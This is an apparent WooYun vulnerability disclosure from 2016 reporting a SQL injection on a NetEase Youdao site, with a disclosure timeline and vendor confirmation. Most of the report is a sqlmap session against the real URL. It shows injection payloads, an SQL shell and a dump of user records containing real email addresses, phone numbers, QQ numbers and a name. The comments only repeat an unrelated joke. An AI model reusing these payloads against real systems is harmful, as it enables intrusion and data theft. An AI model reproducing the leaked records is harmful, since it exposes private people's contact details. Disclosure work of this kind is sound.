当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0196168

漏洞标题:网易某站点SQL注入影响百万用户信息

相关厂商:网易

漏洞作者: 路人甲

提交时间:2016-04-14 12:29

修复时间:2016-06-02 16:20

公开时间:2016-06-02 16:20

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-04-14: 细节已通知厂商并且等待厂商处理中
2016-04-18: 厂商已经确认,细节仅向厂商公开
2016-04-28: 细节向核心白帽子及相关领域专家公开
2016-05-08: 细节向普通白帽子公开
2016-05-18: 细节向实习白帽子公开
2016-06-02: 细节向公众公开

简要描述:

网吧冲进来一个满脸怒气的中年妇女,手里拖着一把扫把,对着一个正在打lol的小学生一顿猛打,刚好小学生正在打团,一声不吭继续打,差不多过了2分钟,小学生幽幽回过了头,中年妇女脸都青了,慢慢吐出几个字:“不好意思,认错人了...”

详细说明:

$ python sqlmap.py -u "http://f.youdao.com/file.do?method=getMajorName&subject=undefined*" --sql-shell
_
___ ___| |_____ ___ ___ {1.0.3.9#dev}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 12:19:31
custom injection marking character ('*') found in option '-u'. Do you want to process it? [Y/n/q] y
[12:19:33] [INFO] resuming back-end DBMS 'mysql'
[12:19:33] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* (URI)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: http://f.youdao.com:80/file.do?method=getMajorName&subject=undefined' AND (SELECT * FROM (SELECT(SLEEP(5)))wyCV) AND 'UlJS'='UlJS
Type: UNION query
Title: Generic UNION query (NULL) - 4 columns
Payload: http://f.youdao.com:80/file.do?method=getMajorName&subject=undefined' UNION ALL SELECT NULL,CONCAT(0x716a766a71,0x686f634c42577a794d7447684b6b796e51566255644e6f58714b6e527568574b4d786f536a50426d,0x7170717a71),NULL,NULL-- -
---
[12:19:33] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5.0.12
[12:19:33] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTER
sql-shell> select count(*) from user_online
[12:20:00] [INFO] fetching SQL SELECT statement query output: 'select count(*) from user_online'
[12:20:00] [WARNING] reflective value(s) found and filtering out
select count(*) from user_online: '1171117'
sql-shell> select * from user_online limit 10
[12:20:49] [INFO] fetching SQL SELECT statement query output: 'select * from user_online limit 10'
[12:20:49] [INFO] you did not provide the fields in your query. sqlmap will retrieve the column names itself
[12:20:49] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) columns
[12:20:49] [INFO] fetching current database
[12:20:49] [INFO] fetching columns for table 'user_online' in database 'atranslate'
[12:20:49] [INFO] the query with expanded column name(s) is: SELECT amount, createTime, email, id, info, trialAmount, username FROM user_online LIMIT 10
[12:20:49] [CRITICAL] connection dropped or unknown HTTP status code received. Try to force the HTTP User-Agent header with option '--user-agent' or switch '--random-agent'. sqlmap is going to retry the request(s)
[12:20:49] [INFO] retrieved: "0","1421038640911","13849737026@163.com","-9223371666268699366","{\\"phone\\":\\"13849737026\\...
[12:20:49] [INFO] retrieved: "0","1441078075986"," ","-9223365685474998611","{\\"vendor\\":\\"write\\"}","0","kuang.xiaoyan@...
[12:20:50] [INFO] retrieved: "0","1456906495294"," ","-9223339392571530192","{\\"vendor\\":\\"read\\"}","0","piaojingrui@126...
[12:20:50] [INFO] retrieved: "0","1420706540215"," ","-9223331508831089524","{\\"vendor\\":\\"write\\"}","0","meinai_nb002@1...
[12:20:50] [INFO] retrieved: "0","1458184084774"," ","-9223323061235546606","{\\"vendor\\":\\"weixinapp\\"}","0","opWGrjrDDK...
[12:20:50] [INFO] retrieved: "0","1422687949837"," ","-9223299177461494054","{\\"vendor\\":\\"write\\"}","0","carrie_chicos@...
[12:20:50] [INFO] retrieved: "0","1433299378884"," ","-9223294631254944376","{\\"vendor\\":\\"write\\"}","0","linkupedu@163....
[12:20:50] [INFO] retrieved: "0","1433410028488","35562899@qq.com","-9223283068763516084","{\\"phone\\":\\"13924952418\\",\\...
[12:20:50] [INFO] retrieved: "0","1457073582194"," ","-9223281766783387951","{\\"vendor\\":\\"write\\"}","0","milian777@126....
[12:20:50] [INFO] retrieved: "0","1440489549781"," ","-9223261311899849978","{\\"vendor\\":\\"write\\"}","0","huxu_hx@126.com"
select * from user_online limit 10 [10]:
[*] 0, 1421038640911, 13849737026@163.com, -9223371666268699366, {\"phone\":\"13849737026\",\"bill\":null,\"nickname\":\"Bonnie\",\"vendor\":\"fanyiinput\",\"name\":\"陈秀\",\"qq\":\"792684076\"}, 0, qq_F516AC4A2C032277B0BECE2E5FA8EEF0
[*] 0, 1441078075986, , -9223365685474998611, {\"vendor\":\"write\"}, 0, kuang.xiaoyan@163.com
[*] 0, 1456906495294, , -9223339392571530192, {\"vendor\":\"read\"}, 0, piaojingrui@126.com
[*] 0, 1420706540215, , -9223331508831089524, {\"vendor\":\"write\"}, 0, meinai_nb002@163.com
[*] 0, 1458184084774, , -9223323061235546606, {\"vendor\":\"weixinapp\"}, 0, opWGrjrDDKLQ7kKG4-4KGEBlKsYs
[*] 0, 1422687949837, , -9223299177461494054, {\"vendor\":\"write\"}, 0, carrie_chicos@163.com
[*] 0, 1433299378884, , -9223294631254944376, {\"vendor\":\"write\"}, 0, linkupedu@163.com
[*] 0, 1433410028488, 35562899@qq.com, -9223283068763516084, {\"phone\":\"13924952418\",\"nickname\":\"☆心B\\\/tp钟\",\"vendor\":\"connect.qq.com\"}, 0, qq_E58B42699858FC01548B79B25230D4A2
[*] 0, 1457073582194, , -9223281766783387951, {\"vendor\":\"write\"}, 0, milian777@126.com
[*] 0, 1440489549781, , -9223261311899849978, {\"vendor\":\"write\"}, 0, huxu_hx@126.com

漏洞证明:

sql-shell> select count(*) from user_online
[12:20:00] [INFO] fetching SQL SELECT statement query output: 'select count(*) from user_online'
[12:20:00] [WARNING] reflective value(s) found and filtering out
select count(*) from user_online: '1171117'
1171117位用户的数据,还挺顺口的。

修复方案:

过滤,转义,加waf。

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2016-04-18 16:18

厂商回复:

漏洞正在紧急修复中,感谢您对网易产品的关注。

最新状态:

暂无


漏洞评价:

评价

  1. 2016-04-14 12:41 | 猪猪侠 认证白帽子 ( 核心白帽子 | Rank:5194 漏洞数:402 | 你都有那么多超级棒棒糖了,还要自由干吗?)

    网吧冲进来一个满脸怒气的中年妇女,手里拖着一把扫把,对着一个正在打DOTA2的小学生一顿猛打,刚好小学生正在打团,一声不吭继续打,差不多过了2分钟,小学生幽幽回过了头,中年妇女脸都青了,慢慢吐出几个字:“不好意思,认错人了…”

  2. 2016-04-14 12:50 | ANS5 ( 普通白帽子 | Rank:347 漏洞数:106 | 此心安处是吾乡)

    网吧冲进来一个满脸怒气的中年妇女,手里拖着一把扫把,对着一个正在打DOTA2的小学生一顿猛打,刚好小学生正在打团,一声不吭继续打,差不多过了2分钟,小学生幽幽回过了头,中年妇女脸都青了,慢慢吐出几个字:“不好意思,认错人了…”

  3. 2016-04-14 13:51 | prolog ( 普通白帽子 | Rank:841 漏洞数:175 )

    网吧冲进来一个满脸怒气的中年妇女,手里拖着一把扫把,对着一个正在打DOTA2的小学生一顿猛打,刚好小学生正在打团,一声不吭继续打,差不多过了2分钟,小学生幽幽回过了头,中年妇女脸都青了,慢慢吐出几个字:“不好意思,认错人了…”

  4. 2016-04-16 17:27 | 程序员鼓励师 ( 路人 | Rank:23 漏洞数:7 | 少年,静下心来,远离浮躁和喧扰,做自己一直...)

    网吧冲进来一个满脸怒气的中年妇女,手里拖着一把扫把,对着一个正在打DOTA1的小学生一顿猛打,刚好小学生正在打团,一声不吭继续打,差不多过了2分钟,小学生幽幽回过了头,中年妇女脸都青了,慢慢吐出几个字:“不好意思,认错人了…”

  5. 2016-04-17 10:07 | 心云 ( 普通白帽子 | Rank:381 漏洞数:101 | 有追求,才会有提高!尽快达到下一个目标!)

    网吧冲进来一个满脸怒气的中年妇女,手里拖着一把扫把,对着一个正在打DOTA2的小学生一顿猛打,刚好小学生正在打团,一声不吭继续打,差不多过了2分钟,小学生幽幽回过了头,中年妇女脸都青了,慢慢吐出几个字:“不好意思,认错人了…”

  6. 2016-04-17 19:55 | 桥声 ( 路人 | Rank:8 漏洞数:3 | 如诗亦如是)

    网吧冲进来一个满脸怒气的中年妇女,手里拖着一把扫把,对着一个正在打DOTA2的小学生一顿猛打,刚好小学生正在打团,一声不吭继续打,差不多过了2分钟,小学生幽幽回过了头,中年妇女脸都青了,慢慢吐出几个字:“不好意思,认错人了…”